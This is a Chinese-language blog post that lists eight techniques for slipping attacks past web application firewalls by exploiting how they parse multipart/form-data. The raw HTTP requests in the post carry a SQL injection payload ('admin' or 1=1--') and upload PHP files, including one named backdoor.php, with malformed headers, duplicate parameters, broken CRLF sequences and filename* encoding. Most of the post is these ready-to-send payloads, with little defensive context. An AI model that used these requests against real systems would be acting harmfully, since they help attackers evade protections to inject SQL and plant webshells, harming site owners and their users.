一直绕waf一直爽!利用 multipart/form-data 解析差异绕 WAF!!(全网最详细)

、大家好,我是Dest1ny!

今天是介绍利用 multipart/form-data 解析差异绕 WAF!

文中共介绍了八种绕过方法,基于对应的特征。

1.multipart/form-data 结合参数污染
2.multipart/form-data 参数覆盖
3.multipart/form-data 文件名覆盖
4.multipart/form-data Content-Disposition 参数覆盖
5.multipart/form-data HTTP请求 CRLF序列破坏
6.multipart/form-data 字符串包裹符号破坏
7.multipart/form-data 结束字段破坏
8.multipart/form-data filename*=utf-8’’ 字段文件名绕过

CLASS-1 Multipart/form-data 结合参数污染

在绕过方法1中,假设了这样的场景:

WAF对POST的数据进行了相关校验,可以利用 multipart/form-data 结合参数污染的方式进行相关绕过

POST /Demo1 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="username";

admin' or 1=1-- &username=admin&abc
--xxx--

这是一种结合 HTTP 参数污染multipart/form-data 数据格式的 WAF 绕过技巧:

  1. 利用参数污染

    • 提供多个 username 值,让 WAF 检测的值和后端实际使用的值不同。
  2. 利用 multipart/form-data

    • 这种格式复杂,WAF 检测可能不完全。
    • 攻击者将恶意负载混入字段中,让其通过 WAF 检测。
  3. 潜在结果

    • 如果后端未正确处理用户输入,恶意的 SQL 注入可能被执行,导致敏感数据泄露或其他安全问题。

CLASS-2 Multipart/form-data 参数覆盖

在绕过方法2中,假设了这样的场景:

WAF与后端具有不同解析器,在对 multipart/form-data 参数的解析顺序上存在差异

基于规范而言,规范只是要求了需要一个name参数,但是当多个name同时出现时,可能会存在一些问题

POST /Demo2 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="username"; name="email";

admin' or 1=1-- 
--xxx--

CALSS-3 Multipart/form-data 文件名覆盖

在绕过方法3中,假设了这样的场景:

WAF与后端具有不同解析器,在对 multipart/form-data 文件名的解析方式上存在差异

对于每个Content-Disposition标头,应该只存在一个文件名参数。但当如果同一个内容中放更多的文件名,也许会存在差异。

一直绕waf一直爽!利用 multipart/form-data 解析差异绕 WAF!!(全网最详细)_第1张图片

CALSS-4 multipart/form-data Content-Disposition 参数覆盖

在绕过方法4中,我们假设的场景是WAF(Web应用防火墙)与后端解析器之间的差异,特别是在解析 Content-Disposition 头部时的行为不同。这种差异可以导致绕过机制的产生,使得攻击者能够上传恶意文件。

背景:Content-Disposition 头部解析

Content-Dispositionmultipart/form-data 编码格式中定义文件上传和字段内容的一部分,常见格式如下:

POST /Demo4 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="file"; filename="a.txt"; 
Content-Disposition: form-data; name="file"; filename="backdoor.php"; 


--xxx--

CLASS-5 multipart/form-data HTTP请求 CRLF序列破坏

在绕过方法5中,假设了这样的场景:

WAF与后端对流量解析方式存在问题,在CRLF异常的情况下存在解析差异

正常来说,HTTP数据包中区分每一行的方式为,每行末尾的 \r\n 两个换行符号,它们又被称为CRLF符号.当你发送数据包时,实际流量可能是(为了可读性,故不删除换行,仅以字符显示代替)

POST /Demo5 HTTP/1.1\r\n
Content-Type: multipart/form-data; boundary=xxx\r\n
\r\n
--xxx\r\n
Content-Disposition: form-data; name="file"; filename="a.txt";\r\n
Content-Type: text/text\r\n
\r\n
hello\r\n
--xxx--\r\n

当我们在 Content-Type: text/text\r\n 中略施手脚,删除 \r 时(新版Burp可以做到),可能会存在一些解析差异

一直绕waf一直爽!利用 multipart/form-data 解析差异绕 WAF!!(全网最详细)_第2张图片

CLASS-6 multipart/form-data 字符串包裹符号破坏

WAF与后端对 Content-Disposition 解析方式存在问题,在缺失了双引号情况下,存在解析差异

在标准 multipart/form-data 请求中,参数名通常用双引号括起来。例:

Content-Disposition: form-data; name=”file”; filename=”a.txt”;
Content-Disposition: form-data; name=”username”;

如果删除双引号,或者使用单引号

POST /Demo6 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="file"; filename=a.txt;

hello
--xxx--

一直绕waf一直爽!利用 multipart/form-data 解析差异绕 WAF!!(全网最详细)_第3张图片

CLASS-7 multipart/form-data 结束字段破坏

WAF与后端对消息体结构宽容度存在问题,在缺失了闭合字段情况下,存在解析差异

正常来说,消息体应为以 boundary 中所约定的字符 加上 – 进行结尾,例如 boundary=xxx 则 –xxx– 进行结尾。可以删除这一字段(至少PHP能接受这样),例:

POST /Demo7 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="file"; filename="a.txt"; 

hello

一直绕waf一直爽!利用 multipart/form-data 解析差异绕 WAF!!(全网最详细)_第4张图片

CLASS-8  multipart/form-data filename*=utf-8’’ 字段文件名绕过

在绕过方法8中,假设了这样的场景

WAF与后端对filename*参数解析存在解析差异

Content-Disposition参数中存在一个特殊的文件名声明 filename* 格式如下

filename*=UTF-8’’Fabrizio_Deandr%C3%A9.pdf

利用此特殊的声明差异

POST /Demo8 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="file"; filename*=UTF-8''Fabrizio_Deandr%C3%A9.php;


--xxx--

一直绕waf一直爽!利用 multipart/form-data 解析差异绕 WAF!!(全网最详细)_第5张图片 

你可能感兴趣的:(php,开发语言,web安全,经验分享,网络安全)